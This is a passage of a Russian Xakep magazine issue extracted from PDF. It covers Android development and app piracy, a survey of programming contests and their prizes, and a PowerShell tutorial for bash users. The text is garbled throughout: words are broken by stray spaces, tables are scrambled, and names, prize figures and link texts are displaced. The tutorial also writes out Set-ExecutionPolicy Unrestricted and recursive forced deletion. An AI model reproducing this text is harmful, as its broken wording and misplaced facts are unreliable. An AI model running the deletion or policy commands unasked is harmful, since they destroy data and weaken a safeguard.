появил ся  как  опе раци онная  сис тема  для  клас сичес кого  типа  смар тфо нов,
напоми нающих  ста рые  BlackBerry:  неболь шой  экран,  QWERTY‐кла виату ра,
прос тые  при ложе ния.  А  затем  его  в  сроч ном  поряд ке  начали  переде лывать
в неч то вро де iOS. Через нес коль ко лет при ложе ния вне зап но ста ли нам ного
слож нее. А потом мир изме нил ся сно ва.

Google пос тоян но переде лыва ла Android, добав ляя в него все новые API,
которые мог ли работать сооб ща со ста рыми или кон флик товать с ними. В то
же вре мя рас ширял ся спи сок  устрой ств,  а  ста рые вер сии Android  все никак
не уста рева ли. Появи лись биб лиоте ки под дер жки, приз ванные помочь в раз‐ 
работ ке для раз ных вер сий ОС, а на деле еще более ее усложня ющие.

Сов ремен ный Android — это сбор ная солян ка, прог рамми руя для которой
необ ходимо  учи тывать  огромное  количес тво  нюан сов.  Тебе  при дет ся  при‐ 
обрести  десяток  раз личных  устрой ств  для  тес тирова ния,  про читать  мас су
докумен тации,  про вес ти  сот ни  экспе римен тов.  Поэто му,  если  ты  толь ко
в начале пути, сто ит креп ко задумать ся о том, нуж но ли тебе это.

ТВОЕ ПРИЛОЖЕНИЕ СВОРУЮТ, СМИРИСЬ
Ни кому  не  нра вит ся,  ког да  резуль тат  его  мно голет них  тру дов  прос то  берут
и бес плат но раз дают всем жела ющим. Но это реаль ность, и в мире Android
она более реаль на, чем где бы то ни было. Ты можешь при менять обфуска‐ 
торы,  защищать  при ложе ние  пакера ми,  валиди ровать  покуп ки  на  собс твен‐ 
ном сер вере, но при ложе ние все рав но укра дут. И тебе повезет, если из него
прос то сде лают варез, а не встро ят пол ноэк ранную рек ламу или внед рят бэк‐ 
дор.

Я получил десят ки писем от индий цев, которые жалова лись, что, нес мотря
на  покуп ку  при ложе ния,  оно  все  рав но  показы вает  пол ноэк ранную рек ламу.
Сто ит ли говорить, что рек ламы в при ложе нии не было вооб ще?

Как  с  этим  бороть ся?  Никак.  Это  один  из  багов  эко сис темы  Android.
Единс твен ный  вари ант —  ежед невно  находить  в  гуг ле  ссыл ки  на  пират ские
вер сии сво его при ложе ния и писать жалобы.

Оче ред ной инди ец сооб щает о рек ламе в при ложе нии
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КОДИНГ

Олим пиады быва ют школь ными и скуч ными,
а быва ют все мир ными и ува жаемы ми. Учас‐ 
тие  в  них  как  минимум  инте рес но,  поз‐ 
наватель но  и  спо собс тву ет  заведе нию
полез ных  зна комств  в  про фес сиональ ных
кру гах,  как мак симум — при водит  к  попол‐ 
нению тво его кошель ка на нес коль ко тысяч
дол ларов,  а  резюме  —  строч кой  работы
на  хорошей  дол жнос ти  в  меж дународ ной
кор порации.  О  том,  что  они  собой  пред‐ 
став ляют,  где про водят ся и сколь ко мож но
зарабо тать  в  слу чае  победы,  —  в  этой
статье.

Семь лет назад «Хакер» уже рас ска зывал о чем пиона тах по прог рамми рова‐ 
нию. С тех пор мно го что поменя лось — поп робу ем разоб рать ся.

ACM/ICPC
Тра дици онно  начина ем  обзор  с  самой  извес тной  и  самой  древ ней  сту ден‐ 
ческой олим пиады по  прог рамми рова нию.  Кор ни  это го мероп риятия  ухо дят
в  семиде сятые  годы  прош лого  века.  Сов ремен ный  облик  оно  при обре ло
в 1977 году, с тех пор про водит ся еже год но. Рань ше при нять учас тие мог ли
толь ко сту ден ты из США и Канады, но со вре менем олим пиада ста ла все мир‐ 
ной, и, что самое инте рес ное, пос ледние семь лет (с 2012 года) ее победи‐ 
теля ми ста новят ся сту ден ты из Рос сии. Все го с 2000 года чем пион ский кубок
ACM/ICPC  побывал  в  Рос сии  три над цать  раз.  Кста ти,  с  кон ца  девянос тых
ни  разу  сту ден ты  из  США  не  побеж дали  в  олим пиаде.  Осно вать  осно вали,
а вот прог рамми ровать так и не научи лись. :)

Фи нал ACM/ICPC 2018, Пекин, Китай

ACM/ICPC  —  сорев нование  коман дное.  Коман да  сос тоит  из  трех  человек,
учас тво вать могут сту ден ты вузов и аспи ран ты пер вого года обу чения — глав‐ 
ное,  что бы  воз раст  не  пре вышал  25  лет.  Не  допус кают ся  сту ден ты,  пятик‐ 
ратно  при нимав шие  учас тие  в  олим пиаде  или  же  дваж ды  попадав шие
в  финаль ную  ста дию.  Пра вила  олим пиады  неиз менны:  за  пять  часов  прог‐ 
раммис ты  дол жны  решить  от  вось ми  до  две над цати  алго рит мичес ких  задач
(усло вия  написа ны,  естес твен но,  на  англий ском).  Из  года  в  год  меня ется
толь ко  спи сок  допус тимых  язы ков  прог рамми рова ния.  В  2018  году  в  нем
были C, C++, Java, Kotlin и Python. Ранее был дос тупен и Pascal, но теперь он
законо мер но ушел в прош лое.

Ре зуль таты отправ ляют ся на тес тиру ющий сер вер, где про веря ются. Если
еще есть вре мя, а задача решена неп равиль но или не соб людены огра ниче‐ 
ния по вре мени выпол нения и исполь зуемой памяти, то об этом сооб щает ся
коман де, и она может про вес ти работу над ошиб ками. Побеж дает  коман да,
спра вив шаяся с наиболь шим чис лом задач. Если нес коль ко  команд решили
оди нако вое чис ло задач, то побеж дает та, которая сде лала это быс трее.

В этом  году впер вые чем пион ский  кубок  уехал в Мос кву — победи телем
ста ла коман да из МГУ. В сос таве коман ды — 

.  До  это го  кубок,  как  эста фет ная  палоч ка,
перехо дил от Уни вер ситета ИТМО к СПбГУ и обратно.

Ми хаил Ипа тов, Вла дис лав

Маке ев  и  Гри горий Рез ников

Пос коль ку  олим пиада  меж дународ ная,  то  мес то  ее  про веде ния  каж дый
год  меня ется.  В  этом  году  она  про ходи ла  в  Китае,  в  прош лом  —  в  США,
а в 2013‐м и 2014‐м — в Санкт‐Петер бурге и Ека терин бурге соот ветс твен но.

Те перь о про фите. Коман да‐победи тель в этом году получи ла 
,  коман ды,  заво евав шие  золотые  медали  (пер вые  четыре  мес та),  —

по 7500 дол ларов,  сереб ряные медали  (5–8‐е мес та) — по 6000 дол ларов.
А уте шитель ный приз (10–12‐е мес та) сос тавля ет 3000 дол ларов — для обла‐ 
дате лей  брон зовых  медалей.  Впро чем,  день ги  здесь  не  глав ное.  Учас тие
в  этой  олим пиаде  —  шанс  получить    и  даже
встре тить ся с  .

15 000 дол‐ 
ларов

вы соко опла чива емую  работу
пре зиден том РФ

ЯНДЕКС.АЛГОРИТМ
Ян декс.Алго ритм  —  это  меж дународ ный  чем пионат  по  спор тивно му  прог‐ 
рамми рова нию. Учас тво вать может каж дый, кто уме ет решать алго рит мичес‐ 
кие задачи и зна ет один из  три над цати допус тимых язы ков прог рамми рова‐ 
ния. Дру гих огра ниче ний, в  том чис ле воз рас тных, нет. Темати ка задач чем‐ 
пиона та меня ется из года в год, в 2018‐м упор был сде лан на опти миза цию
и машин ное обу чение.

Чем пионат Яндекс.Алго ритм

Со рев нования  сос тоят  из  нес коль ких  отбо роч ных  раун дов,  в  каж дом
из  которых  нуж но  решить  пять  задач  за  100  минут,  и  финала,  в  который
попада ют  25  человек,  показав ших  луч шие  резуль таты. При зеры  чем пиона та
получа ют денеж ные при зы. Кста ти, о при зах. В 2018 году при зовой фонд чем‐ 
пиона та сос тавил солид ные 980 тысяч руб лей.

По беди телем в этом году стал Ген надий Корот кевич (Белорус сия), вто рое
мес то  занял  Алек сей  Данилюк,  а  на  треть ем  —  Миха ил  Ипа тов  (при зер
ACM/ICPC).

Пять при чин поп робовать учас тво вать в чем пиона те в сле дующем году:
нет огра ниче ний по воз расту и при над лежнос ти к вузу;•
ши рокий выбор язы ков прог рамми рова ния;•
воз можность завес ти полез ные зна комс тва — Яндекс.Алго ритм еже год но
собира ет луч ших прог раммис тов меж дународ ного клас са;

•

воз можность зарабо тать солид ную сум му;•
ми нималь ные зат раты со сто роны  учас тни ка  (тебе не при дет ся  выез жать
за пре делы стра ны, не нужен заг ранпас порт, визы и про чее).

•

На  наш  взгляд,  Яндекс.Алго ритм  даже  инте рес нее,  чем ACM/ICPC. Во‐пер‐ 
вых,  мень ше  все воз можных  огра ниче ний,  меша ющих  учас тию,  во‐вто рых,
мож но  учас тво вать  одно му.  И  если  в  ACM/ICPC  приз  делит ся  меж ду  все ми
чле нами  коман ды,  то  здесь  он  при над лежит  тебе  и  толь ко  тебе.  А  приз
немалый  —  за  пер вое  мес то  в  алго рит мичес ком  тре ке  мож но
получить 300 тысяч руб лей, а за пер вые мес та в опти миза цион ном и ML‐тре‐ 
ках полага ется 100 тысяч.

GOOGLE CODE JAM
Бы ло  бы  стран но,  если  бы  у  такой  инно ваци онной  ком пании,  как  Google,
не  было  собс твен ного  чем пиона та  по  прог рамми рова нию,  тем  более  что
это хороший спо соб прив лечь талан тли вую молодежь в свои ряды.

Чем пионат Google Code Jam про водит ся с 2003  года. Учас тни ки дол жны
решить алго рит мичес кие задачи за фик сирован ное вре мя. Осо бен ность чем‐ 
пиона та в том, что раз реша ется исполь зовать любой язык прог рамми рова ния
и любую сре ду раз работ ки — никаких огра ниче ний нет, глав ное, что бы учас‐ 
тник сумел решить задачу и закоди ровать ее реали зацию.

Со рев нования Google Code Jam

Приз за пер вое мес то сос тавля ет 15 000 дол ларов. При меча тель но, что пос‐ 
ледние пять  лет  (с 2014 по 2018  год)  пер вое мес то при над лежит Ген надию
Корот кевичу из Белорус сии с ником  tourist,  который более чем оправдан —
чем пионат за эти годы про води ли в США, Ирландии и Канаде.

FACEBOOK HACKER CUP
По при меру Google соци аль ная сеть Facebook так же запус тила 

  по  прог рамми рова нию,  который  про водит ся  с  2011  года.
При этом ком пания и не скры вает, что чем пионат исполь зует ся как средс тво
поис ка  луч ших  умов  для  потен циаль ной  работы  в  Facebook.  Информа ции
об этом кон курсе малова то, даже в Википе дии ничего тол ком нет, но «Хакер»
спе циаль но для тебя раз добыл под робнос ти.

собс твен ный
чем пионат

Чем пионат от Facebook

Пос танов ка  задачи  выг лядит  так:  усло вия,  фор маты  вход ных/выход ных  дан‐ 
ных, а  так же сами вход ные дан ные в виде фай ла. Нуж но про читать  усло вие,
при думать решение, реали зовать его прог рам мно и про тес тировать. На все
про  все  есть  шесть  минут.  За  эти  шесть  минут  решение  мож но  отправ лять
нес коль ко раз, глав ное — уло жить ся в это огра ниче ние. Исполь зовать мож но
любой язык прог рамми рова ния и любую сре ду. Особ няком сто ит Visual Stu‐
dio, пос коль ку в сво бод ном дос тупе име ется толь ко Visual Studio Express.

Струк тура  сорев нования  сле дующая:  ква лифи каци онный  раунд,  пер вый
и вто рой раун ды, финал. Ква лифи каци онный раунд длит ся 72 часа, и учас тни‐ 
кам нуж но решить хотя бы одну из пред ложен ных задач. На решение задачи
дает ся  шесть  минут.  Пер вый  раунд  сос тоит  из  трех  отдель ных  под раун дов,
на  каж дый  из  которых  отве дено  по  три  часа.  Луч шие  1000  прог раммис тов
про ходят  во  вто рой  раунд.  Учас тво вать  мож но  во  всех  трех  под раун дах,
при усло вии, что ты не попал в top‐1000 в одном из пре дыду щих под раун дов.
Поэто му  во  вто рой  раунд  выходит  3000  человек. Вто рой  раунд  длит ся  тоже
три  часа.  При зы  это го  раун да  рас пре деля ются  так:  top‐300  получа ют  уте‐ 
шитель ные фут болки; top‐25 едут в Калифор нию учас тво вать в финале.

Ог раниче ний прак тичес ки нет,  если не счи тать  воз рас тно го —  тебе дол‐ 
жно быть как минимум 18 лет, и ты не дол жен работать в Facebook.

Пер вое мес то в 2017 году занял рос сий ский прог раммист Пётр Мит ричев,
а в 2014 и 2015 годах пер вые мес та при над лежат уже извес тно му Ген надию
Корот кевичу. В общем зачете по количес тву побед лидиру ет Рос сия, на вто‐ 
ром мес те — Белорус сия, на треть ем — Япо ния.

При зы здесь пос кром нее, чем у Google, — 5000 дол ларов за пер вое мес‐ 
то, 2000 — за вто рое и 1000 — за третье. Так же ком пания пла тит уте шитель‐ 
ные 100 дол ларов учас тни кам, заняв шим с 4‐го по 25‐е мес та. Ко все му это‐ 
му при лага ются бес плат ные билеты в Калифор нию и про жива ние в  кам пусе
Facebook. Сум мы доволь но скром ные, но ведь глав ное — это потен циаль ная
работа  в  Facebook,  где мож но  зарабо тать  гораз до  боль ше,  чем  полага ется
за пер вое мес то. Кста ти, ты еще можешь успеть зарегис три ровать ся в Face‐
book Hacker Cup 2018 — пос пеши.

TOPCODER OPEN
Topcoder Open — еже год ный меж дународ ный тур нир, который про водит ком‐ 
пания Topcoder Inc. с 2001 года. Счи тает ся, что это что‐то вро де чем пиона та
мира сре ди про фи — в нем учас тву ют толь ко луч шие из луч ших.

TCO2017

При нять  учас тие  может  любой  человек,  дос тигший  18  лет.  Еже год но  в  тур‐ 
нире учас тву ют 4000 прог раммис тов. Пос ледний раз чем пионат про водил ся
в октябре 2017 года, так что у тебя есть еще вре мя попытать уда чи, тем более
что приз более чем дос той ный — 15 000 дол ларов за пер вое мес то.

НЕСКОЛЬКО МЫСЛЕЙ
Хо чет ся  поучас тво вать,  да  еще  и  нем ного  зарабо тать,  но  пока  ты  не  опре‐ 
делил ся, с чего начать? Слож нее все го учас тво вать в ACM/ICPC — ты дол жен
быть  сту ден том  или  аспи ран том,  жес ткие  огра ниче ния  по  воз расту,  язы ку
прог рамми рова ния,  вузу  (не  каж дый  вуз  будет  спон сировать  учас тие  в  этой
олим пиаде),  нуж на  коман да  и  так  далее.  В  общем,  дол жно  сов пасть  сра зу
мно жес тво фак торов.

Про ще  все го  попытать ся  учас тво вать  в  Яндекс.Алго ритм.  Далеко  ехать
не  при дет ся,  коман да  не  нуж на,  приз  тоже  дос той ный — прак тичес ки  такой
же,  как  на  Facebook Hacker Cup. Да  еще  и  есть  воз можность  озна комить ся
с  .при мера ми задач

Учас тво вать в Google Code Jam и Facebook Hacker Cup мож но не толь ко
ради  денеж ного  воз награж дения,  но  и  ради  воз можнос ти  получить  работу
в этих извес тных ком пани ях. Google более щед рая, а Facebook, видимо, ищет
энту зиас тов, для которых день ги не на пер вом мес те.

mailto:dhsilabs@gmail.com
http://news.ifmo.ru/ru/university_live/achievements/news/7462/
https://xakep.ru/2011/07/04/57586/
https://www.1tv.ru/news/2009-05-06/166441-tri_zolotyh_medali_privezli_v_rf_pobediteli_pervenstva_planety_po_programmirovaniyu
http://www.facebook.com/hackercup
https://academy.yandex.ru/events/algorithm/


ДЛЯ ТЕХ, КТО В БАШЕ
POWERSHELL

ПРОБУЕМ НАЙТИ АНАЛОГИ
НАИБОЛЕЕ РАСПРОСТРАНЕННЫХ

ТУЛЗ UNIX В PS

Алексей Zemond
Панкратов

3em0nd@gmail.com

АДМИН

При  перехо де  с  bash  на  PowerShell  час то  воз ника ют
неудобс тва,  свя зан ные  с  нез нани ем,  какие  есть  ана логи
в  пошике  и  как  ими  поль зовать ся.  К  при меру,  лич но  мне
очень нра вит ся bash сво ей логикой. Вот нуж но тебе из тек‐ 
сто вого фай ла най ти толь ко что‐то опре делен ное, и ты зна‐ 
ешь, что для это го нуж но задей ство вать, ска жем, cat и grep.
А вот при написа нии подоб ного на пошике час то воз ника ет
пол ный  сту пор.  И  вро де  вся  логика  понят на,  и  скрипт‐то
в одну стро ку, а  как реали зовать — неяс но. Имен но с этим
и пред лагаю разоб рать ся.

INFO

Про общий син таксис и осно вы язы ка PowerShell
написа но  немало,  есть  огромное  количес тво
литера туры,  ста тей  и  видео  на  дан ную  тему.  Те
же  цик лы  и  счет чики  опи саны  уже  не  по  одно му
десят ку  раз,  поэто му  в  дан ной  статье  о  них
ничего  не  рас ска зано.  Если  вдруг  про  пошик  ты
узнал сов сем недав но, то есть смысл обра тить ся
в гугл с баналь ным зап росом вида «powershell tu‐
torial for beginners pdf».

ОБЩИЕ ПРАВИЛА ИГРЫ
Спер ва  давай  раз берем ся  с  наибо лее  прос тым,  но  не  менее  важ ным  —
с  тем,  как  работать  с  перемен ными.  Ска жем,  если  в  bash  для  объ явле ния
перемен ной  дос таточ но  написать  ,  то  для  PowerShell  нуж но  добавить
знак  дол лара —  . Для  вывода  зна чения перемен ной на  экран мож но
вос поль зовать ся  уни вер саль ным    или,  если  работа ешь  с  пошиком,
коман дле том  . Длин нее? Да, безус ловно, но при этом с помощью
дан ного коман дле та мож но весь ма инте рес но управлять выводом:

foo=1
$foo=1

echo
Write‐Host

Write‐Host (2,4,6,8,10,12) ‐Separator "‐>" ‐ForegroundColor DarkMa
genta ‐BackgroundColor White

К при меру, дан ный код выведет пос ледова тель ность цифр в скоб ках, меж ду
циф рами пос тавит знак    плюс рас кра сит  бэк гра унд  и  сам  текст.  Конеч но,
для  скрип та  на  колен ке  это  не  нуж но,  но  вот  для  каж доднев ного  отче та
почему бы и нет.

‐>

При мер работы коман дле та Write‐Host

Нуж но  что‐либо  срав нить?  Для  это го  есть  целая  таб лица,  которая  так
или ина че зна кома любому линук соиду:

Ар гумент Тип Опи сание

eq Equal Рав но

ne Not equal Не рав но

ge
Greater  than
or equal

Боль ше или рав но

gt Greater than Боль ше

lt Less than Мень ше

le
Less  than
or equal

Мень ше или рав но

like
Wildcard
comparison

Ис поль зование сим волов под ста нов ки для поис‐ 
ка соот ветс твия образцу. 
При мер: "file.doc" ­like "f*.do?"

notlike
Wildcard
comparison

Ис поль зование сим волов под ста нов ки для поис‐ 
ка несо ответс твия образцу. 
При мер: "file.doc" ­notlike "p*.doc"

match
Regular  ex‐
pression
comparison

Ис поль зование регуляр ных выраже ний для поис‐ 
ка соот ветс твия образцу

notmatch
Regular  ex‐
pression
comparison

Ис поль зование регуляр ных выраже ний для поис‐ 
ка несо ответс твия образцу

replace
Replace
operator

За меня ет  часть  или  все  зна чение  сле ва  от  опе‐ 
рато ра

contains
Containment
operator

Оп ределя ет, содер жит ли зна чение сле ва от опе‐ 
рато ра  зна чение  спра ва.  В  отли чие  от  пре дыду‐ 
щих  опе рато ров  резуль татом  явля ется  булево
зна чение. 
При мер: 1,2,3 ­contains 1

notcontains
Containment
operator

Оп ределя ет,  что  зна чение  сле ва  от  опе рато ра
не  содер жит  зна чения  спра ва.  Резуль тат  —
булево зна чение. 
При мер: 1,2,3 ­notcontains 4

Для логичес ких опе рато ров это:

Ар гумент Опи сание

and

Оба  усло вия  дол жны  быть  истинны,  что бы  выраже ние  было
истинно. 
При мер: (1 ­eq 1) ­and (2 ­eq 2)

or

Од но  или  оба  усло вия  дол жны  быть  истинны,  что бы  выраже ние
было истинно. 
При мер: (1 ­eq 1) ­or (1 ­eq 2)

xor
Од но усло вие дол жно быть истинно, а вто рое дол жно иметь зна‐ 
чение «ложь», что бы выраже ние было истинно

not

Ука зан ные  усло вия  дол жны  иметь  зна чение  «ложь»,  что бы
выраже ние было истинно. 
При мер: ­not (1 ­eq 2)

!

Ука зан ное усло вие дол жно иметь зна чение «ложь», что бы выраже‐ 
ние было истинно. 
При мер: ! (1 ­eq 2)

Так же будет полез но для типов:

Ар гумент Опи сание

is Яв ляет ся типом

isnot Не явля ется типом

as Как тип, без ошиб ки, если воз ника ет неуда ча пре обра зова ния

Ес ли  с  опе рато рами  срав нения  и  логичес кими  усло виями  все  более‐менее
проз рачно,  то  вот  с  типом  я  бы  рас смот рел  прос тень кий  при мер.  Вот,  ска‐ 
жем,  нуж но  нам  узнать  сред нее  вре мя  отве та  от  сай та  xakep.ru.  Для  это го
нуж но сде лать серию пин гов и выс читать сред нее вре мя отве та. Наб роса ем
прос той скрипт:

Write‐Host `n "Waiting for test ..."
$Avg = 0
$Site = "www.xakep.ru"
$PingSite = Test‐Connection ‐Count 5 $Site
$Avg = ($PingSite | Measure‐Object ResponseTime ‐Average)
$Calc = ($Avg.average) ‐as [int]
Clear‐Host
Write‐Host "Average response time to $Site is $Calc ms"

Ес ли  исполь зовать  дан ный  код без  типа  int, мы  получим дроб ное  зна чение,
что нам не очень нуж но.

При мер кода

АЛИАСЫ
Для  упро щения  работы  с  PowerShell  мож но  исполь зовать  али асы.  Думаю,
тебе будет инте рес но самому взгля нуть на спи сок акту аль ных али асов в сво‐ 
ей сис теме. Для это го нуж но выпол нить коман длет Get‐Alias.

С  помощью  али асов  мож но  ссы лать ся  даже  на  прог раммы.  К  при меру,
сде лаем али ас на запуск каль кулято ра.

Set‐Alias ‐Name calc ‐value calc.exe

Те перь  при  вво де  calc  у  нас  будет  запус кать ся  каль кулятор.  Если  хочет ся
записать  на  али ас  какую‐нибудь  коман ду  с  парамет рами,  то  нуж но  исполь‐ 
зовать фун кцию

function AL01 {Test‐Connection ‐Count 2 xakep.ru}
Set‐Alias ping AL01

При вызове нашего али аса по име ни ping мы сде лаем два пин га до сер вера
xakep.ru. Что бы уда лить ненуж ный для нас али ас, сущес тву ет коман да

Remove‐Item alias:ping

Сто ит отме тить, что пос ле зак рытия обо лоч ки PowerShell все соз данные али‐ 
асы будут уда лены. Что бы это го не про исхо дило, их нуж но сох ранить в свой
поль зователь ский  про филь.  Вооб ще  для  PowerShell  сущес тву ет  аж  четыре
про филя. Пос мотреть их мож но коман дой

$profile | Format‐List ‐Force

А про тес тировать на наличие в сис теме — коман дой

$profile | Format‐List ‐Force | ForEach‐Object (Test‐Path _$)

Ес ли  в  ответ  воз вра щает ся  False,  то  их  прос то  нет.  Соз дадим  наш  файл,
к при меру по пер вому пути:

C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1

и в него напишем наши али асы:

function AL01 {Test‐Connection ‐Count 2 xakep.ru}
Set‐Alias ping AL01

Пос ле  сох ранения  и  переза пус ка  пошик  будет  авто мати чес ки  под гру жать
дан ный файл, и  теперь нас трой ки никуда не денут ся. Сто ит  упо мянуть и  что
по умол чанию в сис теме отклю чен запуск любых сце нари ев и, ско рее все го,
наш внеш ний файл будет заб ракован сис темой. Что бы это го не про изош ло,
давай пос мотрим, что сто ит в полити ке. Выпол ни в кон соли PowerShell:

Get‐ExecutionPolicy

Ско рее все го, сис тема вер нет зна чение Restricted, что как раз озна чает зап‐ 
рет выпол нения сце нари ев. Что бы это обой ти, выпол ни из‐под адми нис тра‐ 
тора:

Set‐ExecutionPolicy Unrestricted

Пос ле  под твержде ния  сце нарии  будут  запус кать ся  без  оши бок  и  наш файл
тоже будет работать.

ПОГРУЖАЕМСЯ ГЛУБЖЕ
Те перь давай перей дем  к  наибо лее  вос тре бован ным  тул зам  «Линук са» и их
ана логам в PowerShell. Нач нем, как обыч но, от прос того к слож ному.

cd
Пе реме щение по катало гам. Здесь мож но исполь зовать одно имен ный али ас
 либо вос поль зовать ся коман дле том Set‐Location.cd

Set‐Location .\Bar

Вы пол нив  дан ную  коман ду,  ты  перей дешь  в  пап ку  Bar  в  текущем  катало ге.
Мож но переме щать ся и по реес тру:

Set‐Location ‐Path "HKLM:"
Set‐Location ‐Path "HKEY_LOCAL_MACHINE\SYSTEM\Software\Microsoft\CTF"

ls, dir
Отоб ражение  содер жимого  катало га.  Мож но  исполь зовать  одно имен ные
али асы либо Get‐ChildItem:

Get‐ChildItem C:\

по кажет,  что  содер жит  в  себе  диск  С:.  Так же  мож но  вос поль зовать ся  раз‐ 
личны ми  парамет рами  для  удобс тва  вывода.  К  при меру,  ана лог  коман ды 

 будетls ‐ltr

Get‐ChildItem $env:USERPROFILE\Documents | Sort‐Object ‐Property 
LastWriteTime

В  дан ном  слу чае  мы  уви дим  пос ледние  изме нен ные  фай лы  в  задан ном
катало ге.  Что бы  рекур сивно  пос мотреть  все  дирек тории,  мож но  вос поль‐ 
зовать ся вот такой коман дой:

Get‐ChildItem ‐Path C:\ ‐Force ‐Recurse

mkdir
Соз дание новой дирек тории. В дан ном слу чае мы будем исполь зовать New‐
Item. Для соз дания дирек тории выпол ним

New‐Item ‐ItemType Directory ‐Name 'foobar'

А вот так мож но соз дать новую под дирек торию bar в дирек тории c:\foo.

New‐Item ‐ItemType "directory" ‐Path "c:\foo\bar"

А если мы хотим соз дать тек сто вый файл в текущей дирек тории с опре делен‐ 
ным тек стом внут ри, то выпол ним

New‐Item ‐Path . ‐Name "foobar.txt" ‐ItemType "file" ‐Value "Xakep.
ru rulezz!"

touch
Соз дание  фай лов.  Для  соз дания  новых  фалов,  так  же  как  и  новых  папок,
исполь зует ся  один  и  тот  же  коман длет  New‐Item.  Раз личия  лишь  в  его
парамет рах.

New‐Item ‐ItemType "file" ‐Path "c:\foo\xakep.txt", "c:\foo\bar\
xakep.log"

Дан ным кодом мы соз дадим два фай ла — xakep.txt и xakep.log — в соот ветс‐ 
тву ющих дирек тори ях c:\foo и c:\foo\bar.

cp
Ко пиро вание  фай лов  из  одно го  катало га  в  дру гой.  В  сре де  PowerShell
для это го нужен коман длет Copy‐Item. Для прос того копиро вания мож но вос‐ 
поль зовать ся сле дующим син такси сом:

Copy‐Item ‐Path C:\foo\1.txt ‐Destination C:\bar\

Так же мож но копиро вать фай лы по сети:

Copy‐Item ‐Path C:\foo.txt ‐Destination '\\descsrv1\f$\foo.txt' 

rm
Уда ление  фай лов.  Ана логом  слу жит  Remove‐Item.  Думаю,  мно гие  зна ют
коман ду  , которая уда ляет все из задан ного катало га. Для пошика дан‐ 
ная коман да будет иметь вид:

rm ‐rf

Remove‐Item ‐Recurse ‐Force

WARNING

Rm ‐rf, как и Remove‐Item ‐Recurse ‐Force, — одна
из опас ней ших команд, которые могут дос тавить
кучу  седых  волос  адми нис тра тору. Выпол нять  их
мож но  толь ко пос ле пол ной уве рен ности и прог‐ 
нозиру емос ти  резуль тата.  Из  лай фха ков  мож но
пред ложить  перед  уда лени ем  сде лать  выбор ку
фай лов через ls, dir или Get‐ChildItem, что бы уви‐ 
деть то, что будет уда лено. Еще инте рес на прак‐ 
тика  не  уда лять,  а  пере име новы вать  фай лы,  что
дает воз можность при проб лемах быс тро вос ста‐ 
новить рабочее сос тояние.

Так же мож но уда лять фай лы по мас ке:

Remove‐Item *.txt

или выбороч ные фай лы:

Remove‐Item C:\dir1\foo, C:\dir1\bar, C:\dir2\foobar

find
По иск  раз личных  фай лов.  В  дан ном  слу чае  мож но  вос поль зовать ся  Get‐
ChildItem. К при меру, коман дой

Get‐ChildItem C:\ ‐include *.exe ‐Recurse

мы  получим  все  экзешные  фай лы,  какие  есть  на  нашем  дис ке  С.  Что бы
не  лезть  в  нед ра  пап ки  Windows,  мож но  огра ничить  глу бину  парамет ром  ‐
Depth 2. Мож но еще боль ше усложнить за счет парамет ра  :‐Exclude

Get‐ChildItem ‐Path "C:\foo\*.exe" ‐Filter "*xakep*" ‐Depth 2 
‐Exclude "*server*" ‐Recurse   

Как  видишь,  мож но  весь ма  неп лохо  управлять  выводом,  не  при бегая
к исполь зованию регуляр ных выраже ний.

cat
Ути лита, выводя щая пос ледова тель но ука зан ные фай лы, объ еди няя их в еди‐ 
ный поток. Ана лог в пошике Get‐Content. В прос том виде будет выг лядеть вот
так:

Get‐Content ‐Path C:\foo\bar.txt

tail
Весь ма  полез ная  ути лита,  по  дефол ту  выводя щая  пос ледние  десять  строк
ука зан ного фай ла. Здесь так же исполь зует ся Get‐Content.

Get‐Content c:\foo\Log.txt ‐TotalCount 10

Для отладки в реаль ном вре мени может быть полезен параметр ‐wait:

Get‐Content "C:\foo\logs.txt" ‐Wait | Where { $_ ‐Match "Error" }

В дан ном слу чае мы монито рим файл logs.txt, и, если в нем появ ляют ся стро‐ 
ки с Error, скрипт нам их покажет.

grep
Ути лита, которая находит все сов падения, задан ные усло вием. К сожале нию,
пол ного  ана лога  grep  в  PowerShell  не  сущес тву ет.  Но  есть  некото рые  хит‐ 
рости.  К  при меру,  если  мы  хотим  получить  выбор ку  из  про цес сов  сис темы
с раз мером более 100 Мбайт, выпол ним

Get‐Process | Where‐Object { $_.WorkingSet ‐gt 104857600 }

В  дан ном  слу чае  мы  задей ство вали  Where‐Object,  который  помога ет  нам
отфиль тро вать наш зап рос. Усло вия отбо ра мож но объ еди нять логичес кими
опе рато рами:

Get‐Process | Where‐Object ‐FilterScript { ($_.WorkingSet ‐gt 104857
600) ‐and ( $_.ProcessName ‐eq "chrome" ) }

Where‐Object работа ет с объ екта ми, если нам нуж но работать со стро ками,
то сле дует исполь зовать Select‐String.

Select‐String ‐Path C:\foo\*.log ‐Pattern "bar"

Объ еди ним с Get‐Content:

Get‐Content ‐Path C:\foo\bar.txt | Select‐String ‐Pattern "foobar"

uname
Ко ман да, которая выводит информа цию о сис теме. К при меру, одна из рас‐ 
простра нен ных команд выг лядела как uname ‐a, в нашем слу чае это будет

$Properties = 'Caption', 'CSName', 'Version', 'BuildType', 'OSArch
itecture'
Get‐CimInstance Win32_OperatingSystem | Select‐Object $Properties | 
Format‐Table ‐AutoSize

Длин но? Однознач но, но час то ли исполь зует ся дан ная коман да? На край ний
слу чай ее мож но про писать в али асы.

mkfs
Соз дание  фай ловой  сис темы.  Здесь  есть  коман дле ты  New‐Volume  или  For‐
mat‐Volume.  К  при меру,  вот  эта  коман да  соз даст  новое  хра нили ще  в  пуле
CompanyData  с  фик сирован ным  зна чени ем,  отформа тиру ет  том  и  наз начит
бук ву М:

New‐Volume ‐StoragePoolName "CompanyData" ‐FriendlyName "TestVolume" 
‐Size 10GB ‐ResiliencySettingName "Mirror" ‐FileSystem NTFS ‐Access
Path "M: "‐ProvisioningType Fixed

WARNING

При  играх  с  подоб ными  коман дами  будь  готов
к тому, что один из тво их дис ков со всем содер‐ 
жимым может прев ратить ся  в  винег рет. Поэто му
преж де  чем  начинать  тес тировать  коман ды
на  боевом  сер вере,  для  начала  пот ренируй ся
на тес товом железе или вир туал ках.

ping
Про вер ка дос тупнос ти  сетево го ресур са. Одна из  самых рас простра нен ных
команд, ее ана лог — Test‐Connection.

Test‐Connection xakep.ru 

cut
Ко ман да  выбор ки  отдель ных  полей  из  фай ла.  В  пошике  при  работе  с  объ‐ 
екта ми мож но сох ранить  толь ко опре делен ные, необ ходимые для нас свой‐ 
ства. Для это го мож но исполь зовать Select‐Object. Допус тим, нам нуж но пос‐ 
мотреть  все  TXT‐фай лы,  которые  находят ся  в  содер жимом  катало га  сво его
поль зовате ля:

